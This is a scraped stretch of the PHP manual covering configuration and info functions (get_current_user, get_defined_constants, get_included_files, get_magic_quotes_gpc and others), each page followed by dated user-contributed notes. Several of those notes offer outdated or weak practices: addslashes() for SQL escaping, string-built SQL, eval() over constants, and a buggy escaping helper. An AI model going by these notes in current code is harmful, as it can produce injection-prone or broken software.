"Unfortunately, you almost never want to know the original value in the config file. Instead, you want to know the value currently in effect."

I have found this useful for changing the error reporting levels for a few specific pages while testing. I turn on all error_reporting while testing, but for a few pages I want to turn off notices. So, I put this at the top of the page:

<?php
error_reporting(8183);
?>

and this at the bottom:

<?php
error_reporting(get_cfg_var('error_reporting'));
?>

to put it back to whatever default I had at the time.
surfchen at gmail dot com 04-Sep-2006 07:00
get_cfg_var returns the value from php.ini directly,while the ini_get returns   the runtime config value. I have tried it on PHP 5.1.6

[EDIT by danbrown AT php DOT net: The author of this note means that ini_get() will return values set by ini_set(), .htaccess, a local php.ini file, and other functions at runtime.  Conversely, get_cfg_var() will return strictly the server php.ini.]
gc_enabled
get_current_user
PHP Options/Info Functions


Gets the name of the owner of the current PHP script

get_cfg_var
get_defined_constants
PHP Options/Info Functions
PHP Manual

get_current_user

(PHP 4, PHP 5)

get_current_user — Gets the name of the owner of the current PHP script

Description

string get_current_user ( void )

Returns the name of the owner of the current PHP script.

Return Values

Returns the username as a string.

Examples

Example #1 get_current_user() example

<?php
echo 'Current script owner: ' . get_current_user();
?>

The above example will output something similar to:

Current script owner: SYSTEM

See Also

  • getmyuid() - Gets PHP script owner's UID
  • getmygid() - Get PHP script owner's GID
  • getmypid() - Gets PHP's process ID
  • getmyinode() - Gets the inode of the current script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

s dot bond1 at lse dot ac dot uk 10-May-2007 05:17
The information returned by get_current_user() seems to depend on the platform.

Using PHP 5.1.1 running as CGI with IIS 5.0 on Windows NT, get_current_user() returns the owner of the process running the script, *not* the owner of the script itself.

It's easy to test - create a file containing:

<?php
    echo get_current_user();
?>

Then access it through the browser. I get: IUSR_MACHINE, the Internet Guest Account on Windows, which is certainly not the owner of the script.
justin samuel 08-Oct-2005 11:45
to get the username of the process owner (rather than the file owner), you can use:

<?php
$processUser = posix_getpwuid(posix_geteuid());
print $processUser['name'];
?>
get_cfg_var
get_defined_constants
PHP Options/Info Functions


Returns an associative array with the names of all the constants and their values

get_current_user
get_extension_funcs
PHP Options/Info Functions
PHP Manual

get_defined_constants

(PHP 4 >= 4.1.0, PHP 5)

get_defined_constants — Returns an associative array with the names of all the constants and their values

Description

array get_defined_constants ([ bool $categorize = false ] )

Returns the names and values of all the constants currently defined. This includes those created by extensions as well as those created with the define() function.

Parameters

categorize

Causing this function to return a multi-dimensional array with categories in the keys of the first dimension and constants and their values in the second dimension.

<?php
define("MY_CONSTANT", 1);
print_r(get_defined_constants(true));
?>

The above example will output something similar to:

Array
(
    [Core] => Array
        (
            [E_ERROR] => 1
            [E_WARNING] => 2
            [E_PARSE] => 4
            [E_NOTICE] => 8
            [E_CORE_ERROR] => 16
            [E_CORE_WARNING] => 32
            [E_COMPILE_ERROR] => 64
            [E_COMPILE_WARNING] => 128
            [E_USER_ERROR] => 256
            [E_USER_WARNING] => 512
            [E_USER_NOTICE] => 1024
            [E_ALL] => 2047
            [TRUE] => 1
        )

    [pcre] => Array
        (
            [PREG_PATTERN_ORDER] => 1
            [PREG_SET_ORDER] => 2
            [PREG_OFFSET_CAPTURE] => 256
            [PREG_SPLIT_NO_EMPTY] => 1
            [PREG_SPLIT_DELIM_CAPTURE] => 2
            [PREG_SPLIT_OFFSET_CAPTURE] => 4
            [PREG_GREP_INVERT] => 1
        )

    [user] => Array
        (
            [MY_CONSTANT] => 1
        )

)

Return Values

Changelog

Version | Description
5.3.1 | Windows only: Core constants are categorized under Core, previously mhash.
5.3.0 | Core constants are categorized under Core, previously internal. On Windows, the Core Constants are categorized under mhash.
5.2.11 | The categorize parameter now operates appropriately. Previously, the categorize parameter was interpreted as !is_null($categorize), making any value other than NULL force the constants to be categorized.
5.0.0 | The categorize parameter was added.

Examples

Example #1 get_defined_constants() Example

<?php
print_r(get_defined_constants());
?>

The above example will output something similar to:

Array
(
    [E_ERROR] => 1
    [E_WARNING] => 2
    [E_PARSE] => 4
    [E_NOTICE] => 8
    [E_CORE_ERROR] => 16
    [E_CORE_WARNING] => 32
    [E_COMPILE_ERROR] => 64
    [E_COMPILE_WARNING] => 128
    [E_USER_ERROR] => 256
    [E_USER_WARNING] => 512
    [E_USER_NOTICE] => 1024
    [E_ALL] => 2047
    [TRUE] => 1
)

See Also

  • defined() - Checks whether a given named constant exists
  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • get_defined_functions() - Returns an array of all defined functions
  • get_defined_vars() - Returns an array of all defined variables

User Contributed Notes

Bob 07-Aug-2008 09:50
Add this method to your class definition if you want an array of class constants (get_defined_constants doesn't work with class constants as Peter P said above):

<?php
public function get_class_constants()
{
    $reflect = new ReflectionClass(get_class($this));
    return $reflect->getConstants());
}
?>

You could also override stdObject with it so that all your classes  have this method
eslindsey AT gma il dot co m 13-Aug-2007 01:12
If you need to use the values of your defined constants in strings or for example in HEREDOC syntax, use this function:

<?php

//PHP5+ only
$constarray = get_defined_constants(true);
foreach($constarray['user'] as $key => $val)
    eval(sprintf('$_CONSTANTS[\'%s\'] = \'%s\';', addslashes($key), addslashes($val)));

//PHP4+ ...this is less efficient since it defines hundreds of constants
foreach(get_defined_constants() as $key => $val)
    eval(sprintf('$_CONSTANTS[\'%s\'] = \'%s\';', addslashes($key), addslashes($val)));

?>

Once you run that you can use $_CONSTANTS['constantname'] to get the value of a constant. You'll need to erase the array and rerun the code if you define any new constants. But I found it handy when I wanted to use a couple of my defined constants in HEREDOC syntax. Don't forget: because this is not really a superglobal you'll need to globalize it if you want to use it from within a different scope, for example:

<?php

//hopefully you ran the snippet out here so that $_CONSTANTS is in global scope.

$mv = $_CONSTANTS['foo']; //works

function my_function()
{
    global $_CONSTANTS;       //without this line it won't work in here!
    $mv = $_CONSTANTS['bar']; //works thanks to previous line
}

?>
05-Jan-2006 11:29
If you want to filter through and return only the prefix for your constants (i.e. you have constants with a naming scheme), then you can use this quick little function. It comes in handy for debugging.

<?php
function returnConstants ($prefix) {
    foreach (get_defined_constants() as $key=>$value)
        if (substr($key,0,strlen($prefix))==$prefix)  $dump[$key] = $value;
    if(empty($dump)) { return "Error: No Constants found with prefix '".$prefix."'"; }
    else { return $dump; }
}
?>

Example:

<?php
define("SITENAME_OPTION_ONE",true);
define("SITENAME_OPTION_TWO",false);
define("SITENAME_URL","foo");

print_r(returnConstants("SITENAME_OPTION"));
?>

Will return:

Array
(
    [SITENAME_OPTIONONE] => 1
    [SITENAME_OPTIONTWO] =>
)
me at gogogadgetscott dot info 18-Jun-2005 11:14
<?php
/**
 * Convert constant value into string name.
 *
 * @param  mixed  Constant value.
 * @return string Constant name.
 * @access public
 */
function sch_get_consant($value)
{
    $constants = get_defined_constants();
    $name = array_search($value, $constants, TRUE);
    return $name;
}
?>
get_current_user
get_extension_funcs
PHP Options/Info Functions


Returns an array with the names of the functions of a module

get_defined_constants
get_include_path
PHP Options/Info Functions
PHP Manual

get_extension_funcs

(PHP 4, PHP 5)

get_extension_funcs — Returns an array with the names of the functions of a module

Description

array get_extension_funcs ( string $module_name )

This function returns the names of all the functions defined in the module indicated by module_name.

Parameters

module_name

The module name.

Note:

This parameter must be in lowercase.

Return Values

Returns an array with all the functions, or FALSE if module_name is not a valid extension.

Examples

Example #1 Prints the XML functions

<?php
print_r(get_extension_funcs("xml"));
?>

The above example will output something similar to:

Array
(
    [0] => xml_parser_create
    [1] => xml_parser_create_ns
    [2] => xml_set_object
    [3] => xml_set_element_handler
    [4] => xml_set_character_data_handler
    [5] => xml_set_processing_instruction_handler
    [6] => xml_set_default_handler
    [7] => xml_set_unparsed_entity_decl_handler
    [8] => xml_set_notation_decl_handler
    [9] => xml_set_external_entity_ref_handler
    [10] => xml_set_start_namespace_decl_handler
    [11] => xml_set_end_namespace_decl_handler
    [12] => xml_parse
    [13] => xml_parse_into_struct
    [14] => xml_get_error_code
    [15] => xml_error_string
    [16] => xml_get_current_line_number
    [17] => xml_get_current_column_number
    [18] => xml_get_current_byte_index
    [19] => xml_parser_free
    [20] => xml_parser_set_option
    [21] => xml_parser_get_option
    [22] => utf8_encode
    [23] => utf8_decode
)

See Also

  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded

User Contributed Notes

JM 05-Jun-2006 07:40
FALSE is returned if there are no functions in that extension.  For example, <?php get_extension_funcs("xmlreader"); ?> returns FALSE because that extension defines the XMLReader class but not functions.
get_defined_constants
get_include_path
PHP Options/Info Functions


Gets the current include_path configuration option

get_extension_funcs
get_included_files
PHP Options/Info Functions
PHP Manual

get_include_path

(PHP 4 >= 4.3.0, PHP 5)

get_include_path — Gets the current include_path configuration option

Description

string get_include_path ( void )

Gets the current include_path configuration option value.

Return Values

Returns the path, as a string.

Examples

Example #1 get_include_path() example

<?php
// Works as of PHP 4.3.0
echo get_include_path();

// Works in all PHP versions
echo ini_get('include_path');
?>

See Also

  • ini_get() - Gets the value of a configuration option
  • restore_include_path() - Restores the value of the include_path configuration option
  • set_include_path() - Sets the include_path configuration option
  • include()

User Contributed Notes

jcwebb 08-Feb-2010 01:42
HEADER resets INCLUDE !!

i used
<?php set_include_path(get_include_path().PATH_SEPARATOR.'/'); ?>
so i could reference files in the root of my website.
<?php require_once 'code_for_this_site_only.php'; ?>

But a few pages later i noticed that my include had reverted back to its original (default) settings.
why?

It was because of this:
<?php header("Location: http://$gotopage"); ?>

Hope it helps, Jon.
ricardo dot ferro at gmail dot com 14-May-2008 11:16
Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
            trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
            continue;
        }

        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (array_search($path, $paths) === false)
            array_push($paths, $path);

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

function remove_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (($k = array_search($path, $paths)) !== false)
            unset($paths[$k]);
        else
            continue;

        if (!count($paths))
        {
            trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
            continue;
        }

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

?>
Borszczuk 23-Jan-2005 04:51
In case you would like to have all include path elements in form of an array use the following code  (PATH_SEPARATOR is PHP's constand and it's crucial to avoid problems with different linux/windows separators

<?php

$pathArray = explode( PATH_SEPARATOR, get_include_path() );

print_r( $pathArray );

?>
get_extension_funcs
get_included_files
PHP Options/Info Functions


Returns an array with the names of included or required files

get_include_path
get_loaded_extensions
PHP Options/Info Functions
PHP Manual

get_included_files

(PHP 4, PHP 5)

get_included_files — Returns an array with the names of included or required files

Description

array get_included_files ( void )

Gets the names of all files that have been included using include(), include_once(), require() or require_once().

Return Values

Returns an array of the names of all files.

The script originally called is considered an "included file," so it will be listed together with the files referenced by include() and family.

Files that are included or required multiple times only show up once in the returned array.

Changelog

Version | Description
4.0.1 | In PHP 4.0.1 and previous versions this function assumed that the required files ended in the extension .php; other extensions would not be returned. The array returned by get_included_files() was an associative array and only listed files included by include() and include_once().

Examples

Example #1 get_included_files() example

<?php
// This file is abc.php

include 'test1.php';
include_once 'test2.php';
require 'test3.php';
require_once 'test4.php';

$included_files = get_included_files();

foreach ($included_files as $filename) {
    echo "$filename\n";
}

?>

The above example will output:

abc.php
test1.php
test2.php
test3.php
test4.php

Notes

Note:

Files included using the auto_prepend_file configuration directive are not included in the returned array.

See Also

  • include()
  • include_once()
  • require()
  • require_once()
  • get_required_files() - Alias of get_included_files

User Contributed Notes

donikuntoro at integraasp dot com 29-Aug-2011 03:32
This function aims to perform filtering of files that have been included :

<?php
function setIncludeFiles($arrayInc = array()){
    $incFiles = get_included_files();
    if((count($arrayInc)>0)&&(count($incFiles)>0)){
        $aInt = array_intersect($arrayInc,$incFiles);
        if(count($aInt)>0){
            return false;
       }elseif(count($aInt)<1) {
        foreach($arrayInc as $inc){
            if(is_file($inc))
                include($inc);
            else{
                return false;
            }
        }
       }
    }else{
        return false;
    }
}
?>

Usage :

<?php
$toBeInclude = array('/data/your_include_files_1.php',
'/data/your_include_files_2.php',
'/data/your_include_files_3.php',
);
setIncludeFiles($toBeInclude);
?>

Return false if something goes wrong.
cleggypdc at gmail dot com 23-Jun-2008 09:47
If you want to get the relative path of an included file, from within itself use this function. If you ever have a include file thats path may not be static, this can save some time.

<?php
 function get_current_files_path($file_name)
 {
   //find the current files directory
   $includes = get_included_files();
   $path = "";
   for ($i=0; $i < count($includes); $i++)
   {
     $path = strstr($includes[$i], $file_name);
     if ($path != false)
     {
       $key = $i;
       break;
     }
   }
   $path = str_replace(getcwd(), "", $includes[$key]);
   $path = str_replace("\\", "/", $path);
   $path = str_replace($file_name, "", $path);
   $path = ltrim($path, "/");

   return $path;
 }
?>
sam at consideropen dot com 29-May-2008 01:57
If you want to avoid the filepaths, just wrap get_included_files() inside preg_replace() to get rid of path info:

<?php
$filenames = preg_replace("/\/.*\//", "", get_included_files());
?>
yarco dot w at gmail dot com 03-Jul-2007 08:27
If you have a MAIN php script which you don't want to be included by other scripts, you could use this function. For example:

main.php:
<?php
function blockit()
{
  $buf = get_included_files();
  return $buf[0] != __FILE__;
}

blockit() and exit("You can not include a MAIN file as a part of your script.");

print "OK";
?>

So other script couldn't include main.php to modify its internal global vars.
indigohaze at gmail dot com 28-Aug-2006 10:30
Something that's not noted in the docs, if a file is included remotely and you do a get_included_files() in the include itself it will *not* return the document that included it.

ie:
test2.php (server 192.168.1.14):
<?php

include("http://192.168.1.11/test/test3.php");

?>

test3.php (server 192.168.1.11):

<?php

$files = get_included_files();

print_r($files);
?>

returns:

Array ( [0] => /var/www/localhost/htdocs/test/test3.php )

Which means you can use get_included_files() to help intercept and prevent XSS-style attacks against your code.
RPaseur at NationalPres dot org 08-Mar-2006 08:04
As is often the case, YMMV.  I tried the __FILE__ and SCRIPT_FILENAME comparison and found this:

SCRIPT_FILENAME: /var/www/cgi-bin/php441
__FILE__: /raid/home/natpresch/natpresch/RAY_included.php

As an alternative:

count(get_included_files());

Gives one when the script is standalone and always more than one when the script is included.
keystorm :at: gmail dotcom 07-Sep-2004 02:08
As of PHP5, this function seems to return an array with the first index being the script all subsequent scripts are included to.
If index.php includes b.php and c.php and calls get_included_files(), the returned array looks as follows:

index.php
a.php
b.php

while in PHP<5 the array would be:

a.php
b.php

If you want to know which is the script that is including current script you can use $_SERVER['SCRIPT_FILENAME'] or any other similar server global.

If you also want to ensure current script is being included and not run independently you should evaluate following expression:

__FILE__ != $_SERVER['SCRIPT_FILENAME']

If this expression returns TRUE, current script is being included or required.
get_include_path
get_loaded_extensions
PHP Options/Info Functions


Returns an array with the names of all modules compiled and loaded

get_included_files
get_magic_quotes_gpc
PHP Options/Info Functions
PHP Manual

get_loaded_extensions

(PHP 4, PHP 5)

get_loaded_extensions — Returns an array with the names of all modules compiled and loaded

Description

array get_loaded_extensions ([ bool $zend_extensions = false ] )

This function returns the names of all the modules compiled and loaded in the PHP interpreter.

Parameters

zend_extensions

Only return Zend extensions, if not then regular extensions, like mysqli are listed. Defaults to FALSE (return regular extensions).

Return Values

Returns an indexed array of all the modules names.

Changelog

Version | Description
5.2.4 | The optional zend_extensions parameter was added

Examples

Example #1 get_loaded_extensions() Example

<?php
print_r(get_loaded_extensions());
?>

The above example will output something similar to:

Array
(
   [0] => xml
   [1] => wddx
   [2] => standard
   [3] => session
   [4] => posix
   [5] => pgsql
   [6] => pcre
   [7] => gd
   [8] => ftp
   [9] => db
   [10] => calendar
   [11] => bcmath
)

See Also

  • get_extension_funcs() - Returns an array with the names of the functions of a module
  • extension_loaded() - Find out whether an extension is loaded
  • dl() - Loads a PHP extension at runtime
  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

satya61229 at satya-weblog dot com 30-Aug-2010 07:33
I was not sure of the Zend extensions. and no zend extensions was coming on my installation. print_r(get_loaded_extensions(true)); print zend extensions loaded.
To know the zend extensions loaded in you installation, use phpinfo() and check where it says "This program makes use of ...". It is the third section in output.
If you have Xdebug installed and enabled then this is a zend extension and it will be listed there.
get_included_files
get_magic_quotes_gpc
PHP Options/Info Functions


Gets the current configuration setting of magic_quotes_gpc

get_loaded_extensions
get_magic_quotes_runtime
PHP Options/Info Functions
PHP Manual

get_magic_quotes_gpc

(PHP 4, PHP 5)

get_magic_quotes_gpc — Gets the current configuration setting of magic_quotes_gpc

Description

int get_magic_quotes_gpc ( void )

Returns the current configuration setting of magic_quotes_gpc

Keep in mind that attempting to set magic_quotes_gpc at runtime will not work.

For more information about magic_quotes, see this security section.

Return Values

Returns 0 if magic_quotes_gpc is off, 1 otherwise.

Examples

Example #1 get_magic_quotes_gpc() example

<?php
echo get_magic_quotes_gpc();         // 1
echo $_POST['lastname'];             // O\'reilly
echo addslashes($_POST['lastname']); // O\\\'reilly

if (get_magic_quotes_gpc()) {
    $lastname = stripslashes($_POST['lastname']);
}
else {
    $lastname = $_POST['lastname'];
}

// If using MySQL
$lastname = mysql_real_escape_string($lastname);

echo $lastname; // O\'reilly
$sql = "INSERT INTO lastnames (lastname) VALUES ('$lastname')";
?>

Notes

Note:

If the directive magic_quotes_sybase is ON it will completely override magic_quotes_gpc. So even when get_magic_quotes_gpc() returns TRUE neither double quotes, backslashes or NUL's will be escaped. Only single quotes will be escaped. In this case they'll look like: ''

See Also

  • addslashes() - Quote string with slashes
  • stripslashes() - Un-quotes a quoted string
  • get_magic_quotes_runtime() - Gets the current active configuration setting of magic_quotes_runtime
  • ini_get() - Gets the value of a configuration option

User Contributed Notes

rickm707 at gmail dot com 10-Oct-2010 02:15
For many people, including myself, the problem is not needing to remove escape characters, but simply to know if they are already in place.  In my case, I WANT user input to be properly escaped, but I don't want to do it twice.  In cases like this, here's my solution:

<?php
function conditional_escape ($str)
{
   /* Automatic escaping is highly deprecated, but many sites do it
      anyway to protect themselves from stupid customers. */
   if (get_magic_quotes_gpc())
   {
      /* Apache automatically escaped the string already. */
      return $str;
   }
   /* Replace the following line with whatever function you prefer
       to call to escape a string. */
   return mysqli_real_escape_string ($link, $str);
}
?>

Example:

<?php
  $username = conditional_escape ($_POST['Username']);
  $password = conditional_escape ($_POST['Password']);
  $email_address = conditional_escape ($_POST['Email_Address']);
?>

Hope this helps.
hetored at gmail dot com 07-May-2010 02:17
Here's what I came up with to remove magic quotes from request data.

Replaces two single-quotes with one if magic_quotes_sybase are on, otherwise it just strips slashes.

Note that the `foreach` style makes this work only with PHP 5 and above.

<?php

// Strip magic quotes from request data.
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
    // Create lamba style unescaping function (for portability)
    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
    $unescape_function = (empty($quotes_sybase) || $quotes_sybase === 'off') ? 'stripslashes($value)' : 'str_replace("\'\'","\'",$value)';
    $stripslashes_deep = create_function('&$value, $fn', '
        if (is_string($value)) {
            $value = ' . $unescape_function . ';
        } else if (is_array($value)) {
            foreach ($value as &$v) $fn($v, $fn);
        }
    ');

    // Unescape data
    $stripslashes_deep($_POST, $stripslashes_deep);
    $stripslashes_deep($_GET, $stripslashes_deep);
    $stripslashes_deep($_COOKIE, $stripslashes_deep);
    $stripslashes_deep($_REQUEST, $stripslashes_deep);
}

?>
Alix Axel 16-Jan-2010 12:20
For those of you who need a portable magic quotes antidote here is a solution that fixes both keys and values in multi-dimensional arrays:

<?php

if (get_magic_quotes_gpc() === 1)
{
    $_GET = json_decode(stripslashes(json_encode($_GET, JSON_HEX_APOS)), true);
    $_POST = json_decode(stripslashes(json_encode($_POST, JSON_HEX_APOS)), true);
    $_COOKIE = json_decode(stripslashes(json_encode($_COOKIE, JSON_HEX_APOS)), true);
    $_REQUEST = json_decode(stripslashes(json_encode($_REQUEST, JSON_HEX_APOS)), true);
}

?>

Look mum, no recursion! :P Enjoy!
louis at greynoise dot co dot uk 30-May-2008 08:34
<?php
function stripper($stringvar){
    if (1 == get_magic_quotes_gpc()){
        $stringvar = stripslashes($stringvar);
    }
    return $stringvar;
}
?>

Usage:

<?php
$Body = stripper($rs->fields('Body'));
echo($Body);
?>

This checks if get_magic_quotes_gpc() is on and strips a string variable for output if its on. Useful if the dev server and live server are set up different.
surya at c77 dot in 20-Apr-2008 12:28
@heiko dot richler at informatik dot fh-nuernberg dot de

I think your stripslashes_deep function should like this:

<?php
function stripslashes_deep(&$value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}
?>

You missed the References.
heiko dot richler at informatik dot fh-nuernberg dot de 15-Apr-2008 12:02
@ dot dot dot dot dot alexander at gmail dot com

I suggest replacing foreach by "stripslashes_deep":

Example #2 Using stripslashes() on an array on
<http://www.php.net/manual/en/function.stripslashes.php>:

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}
?>

This gives:

<?php
if((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc())    || (ini_get('magic_quotes_sybase') && (strtolower(ini_get('magic_quotes_sybase'))!="off")) ){
    stripslashes_deep($_GET);
    stripslashes_deep($_POST);
    stripslashes_deep($_COOKIE);
}
?>
dot dot dot dot dot alexander at gmail dot com 09-Mar-2008 07:06
Just a little correction:
( Because of the ini_get function that may return a string value of "off" that evaluates to TRUE )
<?php
        if(
            (  function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()  )
             || (  ini_get('magic_quotes_sybase') && ( strtolower(ini_get('magic_quotes_sybase')) != "off" )  )
           ){
            foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
            foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
            foreach($_COOKIE as $k => $v) $_COOKIE[$k] = stripslashes($v);
        }
?>
dot dot dot dot dot alexander at gmail dot com 09-Mar-2008 06:51
If you don't need to enter the user input in a database, and you are annoyed by "those-damn-slashes-behind-the-apostrophes" (or quotes), that you are forced to strip manually for each entry, you will find this helpful: (  Just put it so it gets executed before any manipulation to the GPC ( Get|Post|Cookie )  )
<?php
        if(  ( function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc() ) || ini_get('magic_quotes_sybase')  ){
            foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
            foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
            foreach($_COOKIE as $k => $v) $_COOKIE[$k] = stripslashes($v);
        }
?>
gwang at theniceagency dot com 03-Jul-2007 08:19
The magic_quotes_gpc = On setting in php.ini is an unfortunate flaw in php which is not a convenience but a source of many bugs and a performance penalty. Decent programmers all know that special characters such as single quotes need to be escaped in string values of an SQL statement.  The magic_quotes_gpc = On setting wants to do this for programmers but fails to realize that post or get data usually are validated first. If the data are not valid, they are sent back to the browser for resubmission. In this case, the slashes added to the data are doubled after the next submission, thus causing bugs.
slonmron_no_spam_please_ at yahoo dot com 06-Dec-2006 06:32
Re: php at kaiundina dot de (03-Feb-2005 02:18)

1. magic_quotes_gpc=on/off and magic_quotes_sybase=on/off

I made test and your function worked right.
These were the <input ... /> names I used:
name="a"
name="b.b b\b"
name="c[c.1]"
name="c[c 2]"
name="c[c\3]"
name="c.c c[c.' 4]"
name="c ' c[c&quot;4]"
name="d&quot;[d&quot;1]"

(I used &quot; because I don't know other way to put " into the name)

and the user-input value:
a ' " \ \' \" \\ a

2. > 17) The chars '.', ' ' are always replaced by '_' when used in keys.

This is true only for the top-level keys, such as "b.b b\b", "c.c c" and "c ' c" above. The second-level key "[c.' 4]" was not changed to [c_'_4] but was escaped acording to how magic_quites_XXX are set.

Tested on PHP 4.4.0.

These magic_quotes are really black magic :(

It'll be good to make test against $_SESSION, but I can't do it today.
venimus at gmail dot com 11-Jul-2006 06:14
When you work with forms and databases you should use this concept:

1.When inserting the user input in DB escape $_POST/$_GET with add_slashes() or similar (to match the speciffic database escape rules)

$query='INSERT INTO users SET fullname="'.add_slashes($_POST['fullname']).'"';
insert_into_db($query);

2.When reading a previously submitted input from DB use html_special_chars to display an escaped result!

read_db_row('SELECT fullname FROM users');
echo '<input type="text" name="fullname" value="'.html_special_chars($db_row['fullname']).'" />

this way you safely store and work with the original(unescaped) data.
php at kaiundina dot de 02-Feb-2005 04:18
Escaping of key-strings in GPC-arrays behave different to the escaping of their values.

First I expected that keys in submitted gpc-arrays are never escaped.
Anyway. After I saw escaped keys, I assumed they're escaped according to the settings of magic quotes.
... it's even worse...

It took me over 2 days of testing to figure out the exact behavior and creating two functions (one for each php-version) that strips slashes reliably from any array submitted to a script. Hope this saves someones time and nerves.

The following is true for $_GET- and $_POST-arrays. I hope other arrays affected by magic quotes behave equally.
I did not test the behavior for cases where magic_quotes_sybase is set.

== legend for possible case combinations ==
Px = php version we're using
    P4 = php 4.3.9
    P5 = php 5.0.2

MQ = MagicQuotes GPC
    +MQ = magic quotes enabled
    -MQ = magic quotes disabled

TL = TopLevel key
    +TL = key is on top level (i.e. $_GET['myKey'])
    -TL = key is nested within another array (i.e. $_GET['myList']['myKey'])

AK = ArrayKey
    +AK = the value of the key is another array (i.e. is_array($_GET['myKey']) == true)
    -AK = the value is a normal string (i.e. is_string($_GET['myKey']) == true)

== legend for possible results ==
KE = KeyEscaping
    +KE = control chars are prefixed with a backslash
    -KE = key is returned as submitted and needn't to be stripped

VE = ValueEscaping (doesn't apply for array as value)
    +VE = control chars are prefixed with a backslash
    -VE = value is returned as submitted and needn't to be stripped

== here we go - the following rules apply ==
 1) P4 +MQ +AK +TL --> -KE
 2) P4 +MQ +AK -TL --> +KE
 3) P4 +MQ -AK +TL --> -KE +VE
 4) P4 +MQ -AK -TL --> +KE +VE
 5) P4 -MQ +AK +TL --> -KE
 6) P4 -MQ +AK -TL --> -KE
 7) P4 -MQ -AK +TL --> -KE -VE
 8) P4 -MQ -AK -TL --> -KE -VE
 9) P5 +MQ +AK +TL --> -KE
10) P5 +MQ +AK -TL --> +KE
11) P5 +MQ -AK +TL --> +KE +VE
12) P5 +MQ -AK -TL --> +KE +VE
13) P5 -MQ +AK +TL --> -KE
14) P5 -MQ +AK -TL --> -KE
15) P5 -MQ -AK +TL --> +KE -VE
16) P5 -MQ -AK -TL --> +KE -VE
17) The chars '.', ' ' are always replaced by '_' when used in keys.

Example (rule 15):
When running under php 5.0.2 having magic quotes disabled, gpc-keys on top level containing strings are escaped while their associated values are not.

== The following function will strip GPC-arrays for php 4.3.9 ==

<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
        if (is_array($value)) {
            $decodedValue = transcribe($value, false);
        } else {
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

== The following function will strip GPC-arrays for php 5.0.2 ==
<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        if (is_array($value)) {
            $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
            $decodedValue = transcribe($value, false);
        } else {
            $decodedKey = stripslashes($key);
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

Usage:

<?php
$unstrippedGET = transcribe($_GET);
$unstrippedPOST = transcribe($_POST);
?>

Maybe someone is willing to test those combinations for other php-versions and with magic_quotes_sybase set to 'on' - let me know.
Sorry for this huge amount of text, but it's complete. I was unable to compress the decision table more than this.
stpierre-at-spamsucks.nebrwesleyan.edu 14-Jan-2005 08:51
I've found that, when working with Oracle (9i at least), you'll want to turn on magic_quotes_sybase.  I've read elsewhere that others have had the same experience.
eltehaem at poczta dot onet dot pl 26-Nov-2004 02:58
Please note, that when magic_quotes_gpc is set not only $_POST, $_GET, $_REQUEST, $_COOKIE arrays values are slashed. Actually every string value in $GLOBALS array is slashed, ie. $GLOBALS['_SERVER']['PATH_INFO'] (or $_SERVER['PATH_INFO']).
get_loaded_extensions
get_magic_quotes_runtime
PHP Options/Info Functions


Gets the current active configuration setting of magic_quotes_runtime

get_magic_quotes_gpc
get_required_files
PHP Options/Info Functions
PHP Manual

get_magic_quotes_runtime

(PHP 4, PHP 5)

get_magic_quotes_runtime — Gets the current active configuration setting of magic_quotes_runtime

Description

int get_magic_quotes_runtime ( void )

Returns the current active configuration setting of magic_quotes_runtime.

Return Values

Returns 0 if magic_quotes_runtime is off, 1 otherwise.

Examples

Example #1 get_magic_quotes_runtime() example

<?php
// Check if magic_quotes_runtime is active
if(get_magic_quotes_runtime())
{
    // Deactivate
    set_magic_quotes_runtime(false);
}
?>

See Also

  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc
  • set_magic_quotes_runtime() - Sets the current active configuration setting of magic_quotes_runtime

User Contributed Notes

dipshrestha AT mail 20-Aug-2009 06:28
To add to what "php at nospam-qualystem dot com" has mentioned.

Some Japanese Encoding System (shift-jis) encode characters like 予 with ASCII pairs "975C". (5C is ASCII for backslash)

Thus when reading those characters from files (saved as shift-jis) in system with magic_quotes_runtime enabled, the characeter is turned into 予\  (equivalent ASCII "975C5C")

Similarly,
予定　is turned into 予\定
php at nospam-qualystem dot com 09-Jan-2003 05:48
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.
get_magic_quotes_gpc
get_required_files
PHP Options/Info Functions


Alias of get_included_files

get_magic_quotes_runtime
getenv
PHP Options/Info Functions
PHP Manual

get_required_files

